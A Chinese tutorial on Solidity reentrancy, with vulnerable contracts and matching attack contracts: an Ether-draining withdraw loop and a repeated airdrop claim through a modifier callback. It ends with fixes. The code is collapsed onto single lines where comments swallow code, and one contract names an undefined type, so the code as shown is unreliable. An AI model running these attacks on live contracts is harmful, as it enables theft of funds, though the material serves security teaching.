solidity 重入漏洞

1. 重入漏洞的原理

2. 重入漏洞的场景

2.1 msg.sender.call 转账

2.2 修饰器中调用地址可控的函数

1. 重入漏洞的原理

重入漏洞产生的条件：

合约之间可以进行相互间的外部调用

恶意合约 B 调用了合约 A 中的 public funcA 函数，在函数 funcA 的代码中，又调用了别的合约的函数 funcB，并且该合约地址可控。当恶意合约 B 实现了 funcB，并且 funcB 的代码中又调用了合约 A 的 funcA，就会导致一个循环调用，即 step 2 => step 3 => step 2 => step 3 => ....... 直到合约 gas 耗尽或其他强制结束事件发生。

2. 重入漏洞的场景

2.1 msg.sender.call 转账

msg.sender.call 转账场景下重入漏洞产生的条件：

合约之间可以进行相互间的外部调用
使用 call 函数发送 ether，且不设置 gas
记录款项数目的状态变量，值变化发生在转账之后

恶意合约 B 调用了合约 A 的退款函数；合约 A 的退款函数通过 call 函数给合约 B 进行转账，且没有设置 gas，合约 B 的 fallback 函数自动执行，被用来接收转账；合约 B 的 fallback 函数中又调用了合约 A

合约 A

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract A {mapping(address => uint) public balances;function deposit() public payable { balances[msg.sender] += msg.value;}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);// 调用 call 函数将款项转到 msg.sender 的账户(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 账户余额清零balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}

恶意合约 B：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract B {A public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when A sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}

2.2 修饰器中调用地址可控的函数

代码地址：https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier

漏洞合约代码：

pragma solidity 0.8.13;import "./Dependencies.sol";contract InsecureAirdrop {mapping (address => uint256) private userBalances;mapping (address => bool) private receivedAirdrops;uint256 public immutable airdropAmount;constructor(uint256 _airdropAmount) {airdropAmount = _airdropAmount;}function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {// Mint AirdropuserBalances[msg.sender] += airdropAmount;receivedAirdrops[msg.sender] = true;}modifier neverReceiveAirdrop {require(!receivedAirdrops[msg.sender], "You already received an Airdrop");_;}// In this example, the _isContract() function is used for checking // an airdrop compatibility only, not checking for any security aspectsfunction _isContract(address _account) internal view returns (bool) {// It is unsafe to assume that an address for which this function returns // false is an externally-owned account (EOA) and not a contractuint256 size;assembly {// There is a contract size check bypass issue// But, it is not the scope of this example thoughsize := extcodesize(_account)}return size > 0;}modifier canReceiveAirdrop() {// If the caller is a smart contract, check if it can receive an airdropif (_isContract(msg.sender)) {// In this example, the _isContract() function is used for checking // an airdrop compatibility only, not checking for any security aspectsrequire(IAirdropReceiver(msg.sender).canReceiveAirdrop(), "Receiver cannot receive an airdrop");}_;}function getUserBalance(address _user) external view returns (uint256) {return userBalances[_user];}function hasReceivedAirdrop(address _user) external view returns (bool) {return receivedAirdrops[_user];}
}

攻击合约代码：

pragma solidity 0.8.13;import "./Dependencies.sol";interface IAirdrop {function receiveAirdrop() external;function getUserBalance(address _user) external view returns (uint256);
}contract Attack is IAirdropReceiver {IAirdrop public immutable airdrop;uint256 public xTimes;uint256 public xCount;constructor(IAirdrop _airdrop) {airdrop = _airdrop;}function canReceiveAirdrop() external override returns (bool) {if (xCount < xTimes) {xCount++;airdrop.receiveAirdrop();}return true;}function attack(uint256 _xTimes) external {xTimes = _xTimes;xCount = 1;airdrop.receiveAirdrop();}function getBalance() external view returns (uint256) {return airdrop.getUserBalance(address(this));}
}

漏洞合约为一个空投合约，限制每个账户只能领一次空投。

攻击过程：

部署攻击合约 Attacker 后，执行函数 attack，attack 函数调用漏洞合约的 receiveAirdrop 函数接收空投；
漏洞合约的 receiveAirdrop 函数执行修饰器 neverReceiveAirdrop 和 canReceiveAirdrop 中的代码，而 canReceiveAirdrop 中调用了地址可控的函数 canReceiveAirdrop()，此时 msg.sender 为攻击合约地址；
攻击合约自己实现了 canReceiveAirdrop() 函数，并且函数代码中再次调用了 receiveAirdrop 函数接收空投

于是就导致了漏洞合约 canReceiveAirdrop 修饰器和攻击合约canReceiveAirdrop() 函数之间循环的调用。

修复重入漏洞

1.避免使用call方法转账

2.确保所有状态变量的逻辑都发生在转账之前

3.引入互斥锁

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